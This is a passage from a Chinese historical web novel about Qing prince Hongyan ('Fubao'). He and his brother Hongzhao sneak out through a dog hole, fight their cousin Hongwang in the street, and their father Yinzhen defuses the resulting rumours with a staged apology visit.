弘晏眼巴巴的等着,待银烛将西瓜端上来时,那圆滚滚的西瓜已然被切成了豆腐块大小,连西瓜籽也去掉了。 弘晏拿了银签子扎了一块西瓜就往嘴里送,这西瓜爽口多汁简直比蜂蜜还甜。 弘晏又用银签子扎了一块要喂给乌拉那拉氏吃。 弘晏一连吃了好几块西瓜,可总觉得不够过瘾,好像还差点什么。 弘晏看着碟子里的西瓜块,忽而灵光一闪,有了,把西瓜榨成西瓜汁喝一定更爽口。 随后,弘晏便给乌拉那拉氏说了自己的想法。 虽说是初夏,可天气一日日的热起来了,弘晏又刚刚流过鼻血,想喝些西瓜汁解暑倒也没什么,乌拉那拉氏便答应了。 只是弘晏今日已经吃过西瓜了,是断然不能再喝西瓜汁了,乌拉那拉氏便吩咐人将剩下的西瓜送到冰窖里储藏着,等明日榨成了西瓜汁定然更为爽口。 弘晏觉得有理,欣然答应。 一夜过去,弘晏一睁开眼睛便惦记着要喝西瓜汁。 乌拉那拉氏哭笑不得:“哪里有早膳就喝西瓜汁的道理,等用完午膳,额娘定叫你喝上西瓜汁。” 弘晏撅了撅嘴巴。 午膳后才能喝到西瓜汁,那还要再等半天的时间呢。 没关系,好饭不怕晚。 吃完了早膳,盼午膳,弘晏终于盼来了心心念念的冰镇西瓜汁。 虽然只有一小碗,但是弘晏十分满足,冰冰凉凉的西瓜汁喝到嘴里真是太爽了! 喝了冰镇的西瓜汁,弘晏整个人十分清爽也不觉得困倦,便想要去前院给胤禛和三个哥哥送冰镇西瓜汁解暑。 西瓜汁榨了不少,乌拉那拉氏一口答应,随后,王乳娘左手拎着食盒,右手打着伞便跟着弘晏出门了。 到了前院,弘晏先去了胤禛的书房。 苏培盛远远瞧见弘晏,便进去书房禀报胤禛了,是以,待弘晏走到书房时,直接就可以进去了。 弘晏笑嘿嘿的喊道:“阿玛,窝来给泥送西瓜汁。” 胤禛闻言,便从书案后起身走过来,落坐在了檀木小榻上,王乳娘将食盒打开,将其中一碗冰镇西瓜汁放在了胤禛面前。 胤禛端起碗饮了一口下肚便顿觉身上清爽,随即抬眼看向弘晏:“冰镇过的?” 弘晏点头:“对啊,阿玛,是不是很好喝?” 胤禛“嗯”了一声,又一脸关切的问道:“可又有流鼻血?” 弘晏摇了摇小脑袋。 胤禛这便放心了,正欲继续喝冰镇西瓜汁时,余光却瞥见那食盒里还放着四碗冰镇西瓜汁。 胤禛眉头一挑:“福宝,这余下的你要送去哪里?” 弘晏如实说道:“给锅锅们。” 胤禛又问:“那不是还多一碗吗?” 弘时、弘历、弘昼一人一碗,备上三碗便够了,难不成弘晏是要给其中一个人两碗? 弘晏忽闪着大眼睛:“阿玛,还有朱师傅啊。” 朱师傅? 他确实没有想到这一层。 胤禛很是欣慰的望着弘晏说道:“好,那你去吧。” 弘晏给胤禛挥手拜拜之后,便出了书房直奔着学堂去了。 这厢,弘晏刚迈上石阶来到廊下,便听到里面朱 师傅说话的声音:“五阿哥,五阿哥醒醒。” 弘晏眨了眨眼睛。 弘昼竟然在课堂上睡着了? 弘晏正想着,便听见了戒尺敲打桌面的声音,下一瞬弘昼迷迷糊糊的声音响起来了:“朱师傅,你吓我一跳。” 再接着,朱师傅颇为无奈的声音响起来:“五阿哥,你怎能在课堂上睡觉呢?莫不是嫌我教的不好?” 弘昼解释的声音紧接着传出来:“朱师傅您学富五十车,您当然教的好了,是天儿热,我才犯困的。” “五弟,是学富五车,不是五十车。”弘晏听得出来,这是弘历的声音。 下一瞬,弘昼的声音再次响起:“哎呀,都一样。” 朱师傅闻言,出声道:“五阿哥,学富五车是成语,多一字便错了,三阿哥,你来告诉五阿哥这‘学富五车’出自何处?” 弘时一愣:“啊?学富五车?学富五车出自……出自……” 眼瞧着弘时支支吾吾的,朱师傅便看向了弘历:“四阿哥,你可知晓?” 弘历恭恭敬敬的说道:“朱师傅,‘学富五车’出自《庄子天下》。” 弘历回答出了正确答案,朱师傅很是满意,正准备出言夸奖弘历,便听见弘昼不以为意的说道:“《庄子天下》?我还说是《庄子地下》呢。” 门外的弘晏听到这里忍不住“噗嗤”笑出声来。 而朱师傅听到了外面的动静,便将门打开了:“六阿哥?” 弘晏一愣,随即又装作什么都没有发生的模样,笑嘿嘿的说道:“朱师傅,窝给泥们送西瓜汁,阿玛也知道的。” 屋内的弘昼眼睛立马就放光了:“西瓜汁!” 朱师傅闻言,便侧身而站:“六阿哥请进来吧。” 既然胤禛知晓,那便是默许此事了。 这厢,王乳娘打开了食盒,弘昼最先冲过去,弘时与弘历紧随其后。 说了那么久,朱师傅也有些口渴,正准备出去喝茶便听弘晏说道:“朱师傅,喝西瓜汁啊。” 朱师傅出言婉拒:“六阿哥的好意我心领了,这西瓜汁还是你与三位阿哥一起饮用吧。” “窝已经喝过了,朱师傅泥就不要推辞了。”弘晏说着,便拉着朱师傅的手要去端西瓜汁。 朱师傅见状,便只好答应了。 端起西瓜汁,朱师傅怕自己在屋内,阿哥们说话不自在,便留出了一盏茶的时间,一盏茶后再继续上课,而后朱师傅端着西瓜汁便去了隔壁的屋子。 弘时与弘历斯斯文文的喝着西瓜汁时,弘昼已然大口喝完了西瓜汁。 “六弟,还是你最好了。”弘昼迈步走过去对着弘晏说道。 弘晏骄傲的扬了扬小脸儿:“嘿嘿,窝就知道锅锅们肯定喜欢。” 这厢,弘时也喝完了西瓜汁,看着弘晏说道:“六弟,你对三哥好,三哥都知道,日后要是有人欺负你,你就告诉三哥,三哥给你出气。” 弘时说着,还拍了拍自己的胸脯。 一直以来,六弟都对他很好的。 弘晏看着憨憨的弘时,面上配合笑着,心里却表示怀疑。 弘历紧接着说道:“六弟,你已经启蒙了,等再过两年搬来前院,四哥带你读书。” 三哥他管不了,五弟只想着玩,他要带着六弟读书上进。 弘晏继续流露出尴尬而不失礼貌的微笑:呃……大可不必呢。 弘昼将弘晏拉到一旁,贴在弘晏耳边说道:“六弟,读书有什么意思,五哥带你钻狗洞出去玩怎么样?” 钻狗洞? 有点儿心动怎么办? 这时,弘时出声问道:“弘昼,你跟六弟说什么悄悄话呢?” “这是我俩的秘密。”弘昼说完,就拉着弘晏的手走出了屋子。 弘时见状,出声道:“嘁,我还不乐意听呢。” 弘历则摇了摇头,转而又翻开课本温书。 第92章 第92章狗洞计划 翌日清晨,弘晏吃完早膳便跟着乌拉那拉氏读书背书,上午的背书任务完成后,弘晏便去院子里荡了会儿秋千。 头顶刺眼的太阳被厚厚的云层遮挡,又有一阵微风吹过来,今日的天气倒是没有那般炎热了。 待到了昨日跟弘昼约定好的时辰时,弘晏蹦下了秋千,小步子走进了屋子来到乌拉那拉氏面前唤道:“额凉,窝想去前院找阿玛下棋。” 昨日他悄悄打听过的,今日胤禛得闲应该就在书房里。 乌拉那拉氏闻言,点头道:“好,叫王乳娘陪你去吧。” 弘晏忽闪着眼睛:“额凉,窝自己去就可以的,乳凉每回跟窝去都要在书房外面等好久。” 王乳娘心中一暖,旋即开口说道:“六阿哥,这都是奴婢的本分,还是奴婢随您一同去吧。” 弘晏闻言,心里一咯噔,但面上还是十分镇定的拉着乌拉那拉氏的袖子晃悠道:“额凉,额凉,窝自己可以的。” 难得这孩子小小年纪就知道体恤下人,再者弘晏去的是胤禛的书房,乌拉那拉氏自然是放心的,便松了口:“你自己去可以,但要记得早些回来,你阿玛还有正事要忙呢。” 弘晏连连点头,旋即一溜烟儿的跑出去了。 出了正院,弘晏没去胤禛的书房而是去了园子等弘昼。 弘昼还没来,弘晏无聊的蹲在地上看蚂蚁搬家。 少顷,弘昼便气喘吁吁的跑过来了。 弘晏听到脚步声立马站起身走过去:“锅锅,泥没事吧?” 弘昼摇了摇脑袋。 他一路上都是抄小路过来的。 一是为了避开人。 二是抄小路会快一点儿。 弘昼平复好呼吸以后,拉起弘晏的手走到了园子西侧的墙角。 一墙之隔,便是外面的世界。 弘昼松开弘晏,双手将依靠在墙角生长的草丛拨开以后,弘晏果然看见了一个狗洞。 狗洞不大,不过就他和弘昼两个娃娃钻出去也是足够了。 “弟弟,跟着我。”弘昼说完,便趴在地上往狗洞里钻去。 弘晏四处望了望,现在一个人也没有,便放了心,紧接着趴在地上跟着弘昼钻进了狗洞。 弘昼成功钻出来以后,便扶着弘晏站起来,而后给弘晏拍了拍身上的灰尘,最后才给自己的身上拍灰尘。 弘晏抬眼望了望,有些不敢相信,他们就这么简单的出了雍亲王府了。 弘昼咧着嘴笑:“弟弟走,咱们今天好好逛逛。” 弘晏连连点头。 嘿嘿,真刺激! 弘昼和弘晏两个小娃娃并排走到了热闹的大街上,弘晏左瞧瞧右看看,眼睛都要看不过来了。 他虽然跟着胤禛出过好多次门,但都是坐在马车上,隔着马车帘子看,这跟肉眼近距离观看到人间烟火的感受是不一样的。 忽而,弘晏的视线停留在了又大又红的冰糖葫芦上面:“锅锅,泥看。”弘晏说着,抬手指给弘昼看。 弘昼立马就懂了:“弟弟,你想吃冰糖葫芦?” 弘晏诚实的点了点小脑袋。 弘昼问道:“那你带银子了吗?” 弘晏一愣? 银子? 他把这茬给忘记了。 这时,弘昼笑嘻嘻的从袖子里掏出来一个荷包,打开之后让弘晏瞧了瞧,里面装的是散碎银两和铜板。 “放心,五哥有钱,想吃什么吃什么。”弘昼说完便叫住了卖冰糖葫芦的小贩。 卖冰糖葫芦的小贩哈腰道:“两位小少爷,是要冰糖葫芦吗?” 弘昼财大气粗的抬起右手伸出两个手指:“嗯,给我拿两个。” 小贩立马应道:“好嘞。” 拿到了心心念念已久的冰糖葫芦,弘晏伸出舌头舔了一口包裹着山楂的冰糖外衣。 甜! 真甜! 弘晏一扭头,却瞧见身旁的弘昼已然咬掉了一颗红艳艳的山楂。 弘昼含糊不清的说道:“弟弟,咱们去前面看看。” 弘晏应了一声。 两个小娃娃边吃着手里的冰糖葫芦边往前面走去。 “两位小少爷,要玩套圈吗?十文十个圈,套中了东西就归您了。”卖套圈的小贩笑呵呵的问道。 弘昼将最后一 颗山楂果咬进嘴里,便将串冰糖葫芦的木签子扔在了地上,转而掏出荷包说道:“给我来十个。” “好嘞,小少爷,这是您的藤条圈。”小贩将数好的十个藤条圈递给了弘昼。 弘昼拿到手里后,分了五个藤条圈给弘晏,而后便开始套圈。 弘昼投掷出去的藤条圈不是力气太大就是力气太小,没一会儿的功夫五个都扔出去了,一个东西也没有套到。 “弟弟,你来试试。”弘昼说着,接过了弘晏还未吃完的冰糖葫芦。 一根冰糖葫芦有七个山楂果,弘晏的这根上面还余下三个山楂果。 弘晏方才观看弘昼扔藤条圈的时候就在积累弘昼的失败经验,可理论是理论,实践是实践,一连扔出去三个藤条圈弘晏也一无所获。 弘晏看了眼手里最后两个藤条圈,集中了注意力,又掷出去一个,这个藤条圈落地时砸中了陀螺的一个边角。 弘昼兴奋道:“弟弟,你套中了!” 那小贩开口道:“小少爷,这个可不算。” 弘昼即刻变了脸色:“我弟弟明明套中了,怎么不算数,你耍赖是不是?” 小贩赔笑道:“哎呦,小少爷,我开门做生意哪敢骗人啊,这藤条圈把东西完全套进去才算数,要是碰到一个边角都算数,我这生意还怎么做啊?” 弘晏觉得有理便对着弘昼说道:“锅锅,没关系,窝还有一个。” 弘昼这才罢休。 方才投掷出去了四个藤条圈,弘晏已经有了手感,这最后一个藤条圈弘晏瞄准之后,就立马扔了出去。 “啪叽”一声,藤条圈落地将一个小沙包完全套住了。 小贩两只手捧着沙包走过来:“两位小少爷,这沙包归你们了。” 弘晏接过沙包后便递给了弘昼:“锅锅,送给泥。” 弘昼一手将沙包揣起来,一手将冰糖葫芦还给弘晏:“好,我先装着,等咱们回府玩。” 走过一条街,弘晏的冰糖葫芦终是吃完了。 弘晏的眼睛四处张望,很快又盯上了一家卖糖画的摊子。 许久没吃糖,他今日要吃个够。 弘昼自然是爽快的答应了,而后带着弘晏来到了卖糖画的摊子前。 小贩笑着问道:“两位小少爷,想要什么形状的糖画?” 弘昼看向了弘晏。 弘晏不假思索道:“要小兔子。” “好嘞,小少爷稍等。”小贩说着,便开始现场作糖画。 弘晏和弘昼看的认真,只见那小贩一点儿一点儿的勾勒出小兔子的轮廓。 “小少爷,您的小兔子糖画。”小贩说着,伸手将糖画递给弘晏。 弘晏抬起手快要拿到小兔子糖画的时候,一只手突然出现拿走了小兔子糖画。 弘昼指着比他高了一头的小男孩说道:“诶,你抢我弟弟的糖画干吗?” 那小男孩一个眼神,身后跟着的男仆便掏出一个银锭塞给了卖糖画的小贩。 小男孩晃了晃手里的小兔子糖画,嚣张道:“我付了钱,这是我的糖画。” 到手的小兔子糖画飞了,弘晏很不高兴:“先来后到,这是窝要的糖画。” 有几个臭钱很了不起吗? 他也很有钱,只是忘带了而已。 卖糖画的小贩瞧着这三人穿得衣服华丽便知都是富家子弟,便出声和起了稀泥:“三位小少爷,千万别吵架,既然这位小少爷付了钱,那我再给二位做一个一模一样的小兔子糖画不就得了。” 弘晏喊道:“不要,窝就要这个。” 明明是他抢了自己的小兔子糖画,为什么要忍让。 弘昼看向小贩说道:“你把他的钱还给他,我给你。” 小贩很是为难:“这……” 这时,小男孩看了看面前小豆丁似的两个小娃娃,舔了一口手里的小兔子糖画,而后咧着嘴说道:“这么想要,小爷就送给你了。” 弘昼气鼓鼓道:“呸,恶心谁呢你!” 下一瞬,小男孩直接将小兔子糖画扔在了地上,拧眉道:“你敢呸我,你知道我是谁吗?” 这时,小男孩身后的男仆哼道:“不知道天高地厚,这是我们八贝勒府的弘旺阿哥。” 弘旺骄傲的抬了抬下巴。 原来是胤禩的儿子,弘晏扬了扬小脸儿:“八贝勒府有什么了不起,我们还是雍亲王府的呢。” 那男仆有些迟疑:“雍亲王府?” 弘昼紧接着说道:“没错,我叫弘昼,这是我弟弟福宝。” 弘旺确实听自己阿玛说过四伯家的儿子们,尤其是乳名叫福宝的那个幼子最得四伯喜欢。 那男仆没想到两个小娃娃的身份和自家小主子一样尊贵,便低声道:“阿哥,他们可是四爷的儿子,要不再买一个糖画给他们算了。” 四爷与八爷的关系本就不好,今日若再欺负了四爷的两个儿子,弘旺阿哥是八爷的独子他是不怕,可四爷若知道了此事,怕是饶不了自己。 弘旺一个眼神过去,那男仆只得闭上了嘴巴。 四伯的儿子又怎样,他可是阿玛唯一的儿子,是八贝勒府未来名正言顺的主子。 弘旺不以为意的嗤笑道:“福宝?好俗气的名字。” 弘晏听了这话立马就炸了,脚丫子一跺,气呼呼的说道:“泥说谁名字俗气呢?泥名字还土气呢!” 弘昼紧跟着出声道:“就是,弘旺?狗才汪汪叫呢!” 弘旺听罢,立刻气急败坏道:“弘昼,你竟敢骂我是狗!” 弘昼见状,朝着弘旺做了个鬼脸。 弘旺被弘昼挑衅,随即扭过脸冲着身旁的男仆喊道:“付安,还不给我教训他们。” 第93章 第93章颠倒黑白 叫付安的男仆正犹豫时,“嗖——”的一声,一个沙包快速飞出去,不偏不倚的砸在了弘旺身上。 弘旺没有防备,被沙包击中后“哎呦”一声喊出来。 而弘昼得意的声音紧跟着落下来:“呸,教训小爷的人还没出生呢。” 弘旺气坏了,抬起脚揣向了面前付安的小腿:“愣什么,还不快给小爷我报仇。” 他从出生到现在,一直被阿玛额娘捧在手心上,哪里受过这般委屈。 “嗻。”付安说完,便准备撸袖子上前,弘晏在此时开了口:“你可想清楚了,殴打皇孙是什么罪名?” 弘晏的话音落下,那付安脚下的步子生生止住了。 三个小阿哥之间怎么打闹都能说是玩笑,可他真动起手伤了任意一个小阿哥,他这条命怕是要交代了。 弘旺见付安被弘晏的话给吓住了,小脸一鼓更加生气了,遂喝道:“废物!” 弘旺喊完,猛地冲上去用左手一把揪住了弘昼胸前的衣襟:“弘昼,小爷今天就好好教训你。” 弘旺比弘昼大三岁,个头高,力气也比弘昼大,是以弘昼挣脱不了。 此时,弘晏大声喊道:“放开窝锅锅!” 话音落下,弘晏一个箭步冲上去,而后张开嘴就冲着弘旺的左手咬下去。 哼! 兔子急了也是会咬人的! “啊——”弘旺手吃疼便松开了弘昼。 付安见状,便要冲过来救弘旺。 而弘旺边说着:“给我松开。”边抬起右手要打弘晏的脑袋,而弘昼瞅准机会在付安赶过来之前抓住了弘旺的右手一口咬下去。 “啊——”弘旺的两只手都被咬了,痛苦的要哭出来。 付安气愤又无措,喊道:“你们再不松开,我可就不客气了。” 弘晏与弘昼相视一眼,同时松开了弘旺的手,快速转身奋力向前跑去。 “弘旺阿哥,没事吧。”付安小心地捧着弘旺的两只手:“咱们先去医馆吧。” 弘旺愤愤道:“去什么医馆,给我追。” 哪里就这么便宜了弘昼和弘晏。 弘旺话说完,付安撒开腿就跑,弘旺也紧随其后。 付安到底是成年人,腿长跑的快,弘晏一扭头瞧见付安快追上了,边跑边道:“锅锅,咱们分开跑。” 前面几步远就是岔路口了。 弘昼一口答应:“好。” 他正有此意。 然而,就要到岔路口的时候,迎面赶过来的人却让弘晏又惊有喜。 “两个小祖宗,可找到你们了。”苏培盛带着两个护卫急匆匆赶过来。 弘晏直接躲在了苏培盛身后:“苏苏,救命啊!” 弘昼跟着弘晏藏在苏培盛身后:“苏公公,快救我们。” 付安迟了一步,看到苏培盛时,眼神有些慌乱。 苏培盛不认得付安,正用眼神打量着面前人时,弘旺赶到了,弘旺瞧见了藏在苏培盛身后的弘昼和弘晏,一时气更甚了:“苏培盛,你来的正好,瞧瞧他们两个给我手咬的。” 弘旺说着,将自己的两只手伸给苏培盛看。 两只手上有一大一小两个牙印。 弘晏见弘旺恶人先告状,扯了扯苏培盛的衣角:“苏苏,是他先欺负人的。” 弘昼补充道:“对啊,苏公公,弘旺无赖,抢我们的糖画。” 弘旺拧眉:“弘昼,分明是你先用沙包扔小爷的。” 苏培盛赔笑着开了口:“弘旺阿哥,您既然手上有伤,就赶快瞧大夫去吧。” 话说完,苏培盛看向弘旺身旁的付安时便敛了笑容:“快带弘旺阿哥回去吧,孰是孰非,两位爷面前分辨明白。” 苏培盛将话撂下,便带着弘晏与弘昼回雍亲王府去了。 这厢,弘昼与弘晏进了前院的书房,便见胤禛、乌拉那拉氏以及耿格格都在。 “福宝。”乌拉那拉氏直接冲过去抱起了弘晏。 不知道怎的,一见到乌拉那拉氏,弘晏鼻子就酸了,随即瘪着小嘴喊道:“额凉。” 而后,弘晏将小脑袋埋进了乌拉那拉氏的颈窝里。 乌拉那拉氏抚摸着弘晏的后背:“没事就好,没事就好,吓/死额娘了。” 耿格格也是将弘昼里里外外都检查了一遍,确认弘昼一根毫毛都没有伤到,这才放了心。 今早朱师傅上课时,弘昼说肚子疼要出恭,朱师傅便放了弘昼出去,可久不见弘昼回来,就去书房寻胤禛告知了原委。 胤禛开始只以为弘昼是不想上课而躲藏在府里某一处玩耍,便吩咐人在王府四处寻找。 正院的乌拉那拉氏得知消息以后,便去了前院见胤禛,这一去才知晓弘晏这孩子撒了谎,他根本没有去前院书房找胤禛下棋。 两个孩子突然都不见了,乌拉那拉氏与胤禛都猜测两个孩子是商量好的,而此时身在学堂的弘历听闻府里翻了个底朝天也没有找到两个弟弟,便主动告诉胤禛,昨日弘昼与弘晏说了好久的话,都没叫他与弘时听,说是他与弘晏两个人的秘密。 有了弘历的话,胤禛更加确信了。 府里找不到,那就是出了府了。 胤禛立马派人到外面去分头寻找弘晏与弘昼。 如今,确认两个儿子都无碍,胤禛吩咐高无奇将还在外面寻找弘昼与弘晏的护卫喊回来,而后便看向了苏培盛。 苏培盛言简意赅的将他看见的事情讲了一遍。 胤禛的眸子闪过一丝意外,这里面竟然还有弘旺的事。 乌拉那拉氏听罢苏培盛的话,便将弘晏从怀里放了下来。 弘晏与弘昼站在胤禛面前,你一言我一语的乖乖将事情的前因后果都讲了出来。 “弘昼,你胆子也太大了些,逃课钻狗洞溜出去也就罢了,竟还敢带上六阿哥。”耿格格整个人都慌乱了。 关键是弘昼还咬了八爷的儿子,这事儿可就大了。 耿格格“扑通”跪在了地上:“爷,福晋,都是妾身无能,没有管教好弘昼,叫他惹出祸事还连累了六阿哥,请爷责罚。” 胤禛正欲说话时,小喜子进来打千儿禀道:“爷,十三爷来了。” 胤禛抬眸道:“快请。” 耿格格闻言,赶忙站起身来退到了一旁站着。 少顷,只见胤祥风风火火的走进来:“四哥,四嫂,福宝和弘昼没受伤吧?” 胤禛疑惑:“这么快你就得信儿了?” 他并没有告诉胤祥。 胤祥坐下说道:“四哥有所不知,八哥大张旗鼓的召了太医进府给弘旺诊治,九哥和十哥都去了八哥府上看望弘旺,外面都在传弘昼与弘晏不仅打了弘旺,还咬伤了弘旺。” 他知道胤禛现在没有心思打听外面的流言蜚语,便快马加鞭的赶来报信儿。 弘晏惊呆了。 老八父子俩就这么颠倒黑白,添油加醋的歪曲事实。 弘晏鼓着小嘴巴说道:“阿玛,弘旺的手上只有牙印,血都没流,苏苏也瞧见了的。” 牙印过会儿子便消了,伤口都没有,哪里还需要瞧太医用药。 弘晏说完话,便看向了苏培盛。 苏培盛忙出声道:“六阿哥说的是,奴才瞧的真切,那弘旺阿哥的手并无大碍。” 苏培盛的话音落下,弘昼愤愤道:“阿玛,弘旺太欺负人了,你可千万不能放过他。” 耿格格见状,出声提醒道:“弘昼,不可胡说。” 弘昼不服气的闭上了小嘴巴。 这厢,胤禛反倒笑了,看向胤祥说道:“老八这是想趁机收买人心,再扣我一个教子不善、纵子行凶的罪名。” 胤祥出声道:“四哥上回叫老九出了十万两白银,这回怕是新仇旧恨要一起算了,四哥还是尽快拿个主意为好,若是叫御史呈到了汗阿玛面前,是非曲折就更不好说了。” 事情闹大,对胤禛有百害而无一利,毕竟弘旺手上的伤是真实存在的。 弘晏也明白了,老八一党的目标不是他,也不是弘昼,而且胤禛。 若是能借此事打压了胤禛,胤禛在康熙与朝臣们心里的地位降低了,老八争夺储位的胜算就提高了。 片刻后,胤禛开口道:“此事说大也大,说小也小,既然弘旺受了伤,那便去八贝勒府走一趟。” 胤祥点头:“带着礼物登门赔礼,大事化小,小事化了,不失为上策。” 耿格格闻言,屈膝出声道:“王爷,这件事都是由弘昼引起的,若要登门赔罪,叫弘昼一人去便是。” 弘昼点头:“我去就我去。” 他难道还怕弘旺不成? 不等胤禛开口,弘晏先站出来否决了耿格格的提议:“不成,窝也咬了弘旺,窝也去。” 事是一起干的,他不能没有义气,叫弘昼一个人承受后果。 弘昼看向弘晏:“好弟弟,我一个人去就行了。” 他是哥哥,出了事,他当然要第一个扛。 弘晏有这份儿心,他已经很高兴了。 弘晏坚持道:“不成,一起去。” 胤禛看向弘晏与弘昼,缓缓开了口:“你们两个别争了,都去。” 随即,胤禛又道:“不只你们两个,弘时、弘历也去。” 耿格格闻言,出声道:“王爷,三阿哥、四阿哥与此事并无关系啊。” 胤禛悠悠道:“赔礼道歉,人多才显得心诚。” 胤祥心里已然明白了胤禛的打算,笑道:“既然四哥有了主意,我便回去了。” 胤禛出言挽留:“十三弟,吃了午膳再走吧。” 吃饱喝足,下午才有力气登八贝勒府的大门。 乌拉那拉氏跟着出声劝:“是啊,十三弟,我这便叫厨房备一桌席面来。” 胤祥见状,只道:“如此,麻烦四嫂了。” “不麻烦,十三弟说这话便见外了。”乌拉那拉氏说完,便抬步往外走,耿格格便也跟着乌拉那拉氏出去了。 第94章 第94章大张旗鼓 十四贝子府内。 十四福晋完颜氏看向迈开步子往外走的胤禵问道:“爷这是要出门?” 胤禵正要答话时,弘明与弘暟走了进来。 行礼过后,弘明看着胤禵说道:“阿玛,外面都在传弘昼与福宝咬伤了弘旺,这定然是胡说的吧。” 福宝那么可爱,怎么可能会咬人。 胤禵言道:“你八伯已经传太医进府了,还能有假?” 胤禵的话音刚落地,弘暟紧接着说道:“就算是真的,那定然也是弘旺先欺负了弘昼和福宝。” 胤禵皱眉:“你又不在场,胡说什么。” 弘暟扬着脸一本正经的分析起来:“阿玛你想啊,弘昼和福宝加起来才跟弘旺一般大,两个人摞起来才与弘旺一般高,真动起手来,他们两个人哪里能打的过弘旺。” 弘明补充道:“我还听说弘昼和福宝是偷跑出来的,弘旺出门还带着随从呢。” 弘暟紧接着哼道:“我看弘旺是让八伯母宠坏了,素日里见了我和哥哥也是拔高气扬的。” 弘明看向弘暟,无奈纠正道:“是‘趾高气扬’。” 胤禵听得有些心烦:“行了,这件事跟你们没有关系,回去做功课。” 弘暟不服气道:“怎么没关系,福宝可是我们弟弟。” 胤禵喝道:“回去!” 十四福晋见胤禵变了脸色,赶忙道:“弘明带着弟弟回去,外面的流言一个字都别信。” 十四福晋说完,冲着弘明与弘暟使眼色。 弘明这便扯着弘暟出去了。 待弘明与弘暟走后,胤禵看向十四福晋:“我出门一趟。” 十四福晋徐徐道:“爷要去雍亲王府还是八贝勒府?无论爷去哪?我多嘴一句,爷若是去了八贝勒府,与四爷的兄弟情分可就断了。” 虽然,胤禛与胤禵本就没什么兄弟情分了。 十四福晋的话音落地,胤禵沉默了良久,最终又坐回了椅子上。 —— 去八贝勒府的马车上,胤禛掀开马车帘子望了眼外面,眼瞅着就快要到了,遂扭过头看着四个儿子,出声交代:“到了八贝勒府,一切看我眼色和指令行事,尤其是你,弘昼。” 被点名的弘昼撇了撇嘴:“知道了。” 阿玛小瞧人,他才不会坏事呢! 而此时的八贝勒府正院内,胤禩坐在小榻上喝茶,八福晋郭络罗氏正拿着核桃夹子给弘旺剥核桃仁吃。 一个小太监进门打千儿道:“爷,付安已然没气儿了。” 一共五十大板,才打了三十大板付安就撑不住了。 郭络罗氏眼尾一挑,语气生冷:“还禀什么?用草席卷了扔出去。” 护不住主子的奴才留着何用! “嗻。”小太监立马退了出去。 弘旺出声哄道:“额娘别生气,为了个奴才不值当的。” 郭络罗氏抬眸看向弘旺:“额娘是心疼你,改明儿给你找个武艺高强的护卫。” 弘旺点头:“多谢额娘。” 这时,又一个小太监进门禀报:“爷,四爷来了,在书房等您。” 郭络罗氏笑脸一僵,将核桃夹子放在矮桌上,拧眉道:“来的正好。” 她非要和胤禛辩个子丑寅卯不可。 胤禩站起身拦住要冲出去的郭络罗氏,温声道:“福晋,少安毋躁,我先带着弘旺过去。” 弘旺也赶忙出声劝:“是啊,额娘,有我和阿玛就足够了。” 看在父子俩的面子上,郭络罗氏点了点头。 胤禩这便带着弘旺往前院书房去了。 一进门,胤禩便瞧见胤禛坐在临窗的小榻一侧喝茶,而弘时、弘历、弘昼和弘晏聚坐在小榻另一侧吃点心。 胤禩顿时有些发懵,看着小榻上坐着满满当当的人,有一种误进了雍亲王府的感觉。 胤禛起身说道:“八弟来了。” 胤禩点点头。 这话怎么听着这么别扭。 胤禛扭脸冲着小榻上的四个儿子说道:“你们还不快些下来见过八叔。” 胤禛一声令下,弘晏等人将未吃完的点心撂下,赶忙下了小榻对着胤禩齐声喊道:“见过八叔。” 胤禩微微一笑,随即对着弘旺说道:“给你四伯见礼。” 弘旺遂拱手道:“见过四伯。” “弘旺,叫四伯瞧瞧你的手。”胤禛说着,已然将手伸过去了。 弘旺望了一眼胤禩,见胤禩默许便将双手递了过去。 胤禛瞧得真切,那双手上面的牙印已然淡了许多。 胤禩笑着招呼:“四哥,坐下说吧。” 胤禛便松开了弘旺的手落坐在左侧的小榻上,弘晏等人按照年龄顺序站在胤禛身侧排成一排,而胤禩落坐在右侧小榻上后,弘旺同样站在了胤禩身旁。 人数悬殊,气场上胤禛已然占了上风。 胤禛看向胤禩悠悠开口:“八弟,福宝和弘昼从府里偷跑出去,又与弘旺在街上打闹,着实不像话,我这次来便是带着他们赔罪的。” 胤禛话音落下,苏培盛将手里的锦盒交给了胤禩身边的太监。 “打闹”二字一出口,胤禛便将责任放在了双方的身上,而非是弘昼与弘晏一方的过错了,不过看在胤禛态度诚恳又带着赔罪礼,他便给胤禛个面子,顺着话茬接下去。 胤禩掩下思绪,回道:“小孩子嘛,打闹是难免的,四哥兴师动众的带着一家子来未免有些夸张了。” 胤禛娓娓道:“八弟此言差矣,骨肉血亲一荣俱荣,一损俱损,他们四个是亲兄弟,一人犯了错,自然该一同承担,这也是我父子五人登门赔罪的诚意。” 胤禩听了这话,心里更加别扭了,可面儿上又不能表露出来,只道:“早就听闻四哥教子颇严,原是效仿先秦卫鞅的连坐之法了。” 胤禛摆摆手:“八弟莫要笑话我了,两个幼子顽皮,我也是头疼的紧,还望八弟宽宥他们二人。” 胤禩笑道:“四哥这话言重了,小孩子打闹是常事,我做叔叔的又怎会真的怪罪。” 有了胤禩这句话,胤禛便站起身道:“既如此,我父子五人就不多叨扰了。” 胤禛话锋转的太快,胤禩先是一愣,随即起身道:“四哥请便。” 胤禛迈开步子,弘晏等人便齐齐的跟上去了。 等胤禛走远了,胤禩的脸就沉了下来。 弘旺仰着脸对着胤禩说道:“阿玛,四伯就这样走了,弘昼和福宝还没给我赔罪呢。” 胤禩抬手摸了摸弘旺的头:“你四伯护的紧,一个人便将话说齐全了,礼数有了,东西咱们也收了,自是不好再说什么了。” 看来胤禛是真的宠爱福宝这个幼子。 弘旺听完,便转身去拆胤禛送的锦盒,他倒要瞧瞧到底是什么好东西。 锦盒一打开,弘旺整个人都愣住了,喊道:“阿玛,你快来看。” 胤禩闻言,赶忙走过去,一低头便瞧见了弘旺手里的锦盒只装了一个小狗糖画。 胤禩哼道:“好个老四!” 弘旺一看到这个小狗糖画,就想起弘昼说他是狗的画面,便直接将糖画带锦盒扔在了地上。 另一边,回雍亲王府的马车上,憋了许久的弘晏终于可以笑了。 胤禩散布流言,想利用舆论的力量来对付胤禛,而胤禛就大张旗鼓的带着他们兄弟四个登了胤禩的府门,想来不出一个时辰,京城的舆论风向就要一百八十度大转弯了。 胤禛注意到了弘晏,开口问:“福宝,你笑什么?” 弘昼抢先回答道:“阿玛你还用问,弘旺看到小狗糖画定然要气死了。” 弘昼说完,弘时也忍不住笑了。 此时,弘历问向胤禛:“阿玛,这样做八叔怕是不会罢休吧。” 